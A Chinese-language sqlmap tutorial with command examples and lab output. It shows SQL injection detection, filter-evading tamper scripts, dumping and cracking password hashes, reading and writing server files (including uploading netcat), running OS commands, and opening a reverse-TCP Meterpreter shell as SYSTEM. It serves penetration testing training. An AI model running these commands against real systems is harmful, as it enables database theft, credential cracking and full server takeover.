1、判断可注入的参数

2、判断可以用那种SQL注入技术来注入

3、识别出哪种数据库

4、根据用户选择，读取哪些数据

1、基于布尔的盲注，即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。

3、基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。

4、联合查询注入，可以使用union的情况下的注入。

5、堆查询注入，可以同时执行多条语句的执行时的注入。

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

python sqlmap.py --update

git pull

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。（默认）

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。

www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1*

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

python sqlmap.py -g "inurl:\".php?id=1\""

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

1、--safe-url：提供一个安全不错误的连接，每隔一段时间都会去访问一下。
2、--safe-freq：提供一个安全不错误的连接，每次测试请求之后都会再访问一边安全连接。

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1"; 

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1"; 

# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
    '''
    Description of your tamper script
    '''
    retVal = payload
    # your code to tamper the original payload
    # return the tampered payload
    return retVal

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]

B: Boolean-based blind SQL injection（布尔型注入）
E: Error-based SQL injection（报错型注入）
U: UNION query SQL injection（可联合查询注入）
S: Stacked queries SQL injection（可多语句查询注入）
T: Time-based blind SQL injection（基于时间延迟注入）

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

-C后跟着用逗号分割的列名，将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名，将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名，将会在所有数据库中搜索指定的库名。

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into 
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), 
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

1、MySQL数据库版本小于5.0，没有information_schema表。
2、数据库是Microssoft Access，系统表MSysObjects是不可读的（默认）。
3、当前用户没有权限读取系统中保存数据结构的表的权限。

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe 
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit

$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully 
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, 
same size as the local file '/software/nc.exe.packed'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
--os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can 
only be deleted manually

1、ASP
2、ASP.NET
3、JSP
4、PHP

1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode，支持MySQL和PostgreSQL数据库，参数：--os-pwn。
2、通过用户自定义的函数上传一个独立的payload执行，MySQL和PostgreSQL的sys_exec()函数，Microsoft SQL Server的xp_cmdshell()函数，参数：--os-pwn。
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode，当sqlmap获取到的权限足够高的时候（Linux/Unix的uid=0，Windows是Administrator），--os-smbrelay。
4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004)，在内存中执行Metasploit的payload，参数：--os-bof

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying 
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
> 
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> 
which is the local address? [192.168.136.1] 
which local port number do you want to use? [60641] 
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..

                                _
                                | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                        /|
                        \|


    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641 
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', 
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 
hh:mm:52 +0100 2011

meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0


meterpreter > exit

[*] Meterpreter session 1 closed.  Reason: User exit